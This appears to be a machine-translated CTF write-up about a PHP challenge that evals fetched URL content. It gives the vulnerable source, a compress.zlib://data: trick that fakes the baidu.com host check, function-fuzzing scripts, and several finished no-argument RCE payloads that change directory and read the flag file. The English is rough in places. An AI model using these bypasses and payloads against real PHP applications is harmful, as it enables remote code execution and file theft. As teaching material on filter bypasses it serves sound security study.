0x01 posted Code
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
print_r($r);
if (preg_match('/baidu\.com$/', $r['host'])) {
echo "pass preg_match";
$code = file_get_contents($url);
print_r($code);
// 下面这个正则约束了只能是phpinfo();这样的形式
// 所以基本来说 php://input 是不行了
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
} else {
highlight_file(__FILE__);
}
0x02 topic analysis
First we have to post a url, and the host is the end of baidu.com
Workaround:
- Krypton gold, buy a domain name
- Baidu 302 Jump
https://www.4xseo.com/marketing/1280/#title-0 - Use Baidu search to jump, but to Baidu included the job of your web site
- Use Baidu network disk Jump
compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
On how to bypass filter_var and parse_url
Reference Gangster article
link
How to bypass filter_var
and parse_url
, in file_get_contents
the case, may be data://
the pseudo protocol to bypass, for this form data://text/plain;base64,xxxxx
, parse_url
will be text
used as host
, and not sensitive to the MIME PHP, so to data://baidu.com/plain;base64,xxxxx
be able to bypass, and file_get_contents
can be read directly into the xxxx
content . Since the topic has banned begin with the data, so we can usecompress.zlib
0x03 no parameters RCE
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
This is the only limiting parameter a(b())
in the form of letters while comprising only
preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)
limits the number of functions, for example, getallheaders(),session_id()
like
First of all what I first under the fuzz, look at those functions can be
<?
var_dump(gettype(get_defined_functions()));
var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_|-/i', get_defined_functions()[internal][$i])) {
$i_need_func[$j]=get_defined_functions()[internal][$i];
$j++;
}
}
print_r($i_need_func);
Because the function innermost layer must not contain parameters, so we can lower fuzz, to see which functions can be used
<?php
#var_dump(gettype(get_defined_functions()));
#var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_/i', get_defined_functions()[internal][$i])) {
$i_need_func[$j]=get_defined_functions()[internal][$i];
$j++;
}
}
try {
for ($i=0; $i < count($i_need_func); $i++) {
if($i_need_func[$i]=="mhash")
continue;
if(!is_null($i_need_func[$i]())){
echo $i_need_func[$i];
var_dump($i_need_func[$i]());
}
}
} catch (\Throwable $th) {
}
localeconv()
It returns an array, and the first to.
phpversion()
Returns the version number is a number, we can use mathematical functions constitute 46
As the title suggests that flag
the parent directory, so we need to think of ways to change the current path, so we also need to construct ..
to jump to the parent directory, beginning here also cards for a long time, but then suddenly thought ls -a
after the system is not on the self with two points, this is not a characteristic of the system Well, so there follows paylaod
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
this script can use mathematical functions + phpversion()
return46
<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){
if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";
}}}}}}}}
?>
A set of functions can be easily obtained 46
Although we have been able to jump catalog, but how can we continue to list the files parent directory it?
Function chdir()
returns a Boolean value true || false
, so what I continue fuzz
to see those functions pass bool
what is returned when the value yes. As long as the above code change it on the line, I will not repeat them here
localtime(time(ture))
Returns an array, one of the first second, we only need to wait for 46 seconds per minute transmits a request to obtain 46hebrevc(crypt(ture))
Returns a string, there is a chance for the first string.
uniqid(true)
Also returns a string and is fixed, we canord()
take the first code string ascll and configured the same way using the mathematical function 46crypt(serialize(array()))
Using a crypt returns the encrypted string, encrypted string end has a chance to occur.
payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
0x04 otherwise summary
As the title of the filter et
, _
so we can not use a lot of functions, but some ideas well worth learning, here wandering chiefs posted the article
link
- Use
getenv() + array_rand() + array_flip
- Use
getallheaders()
- Use
session_id + session_start() + hex2bin + bin2hex
- Use
get_defined_vars()
- Use
dirname() + chdir()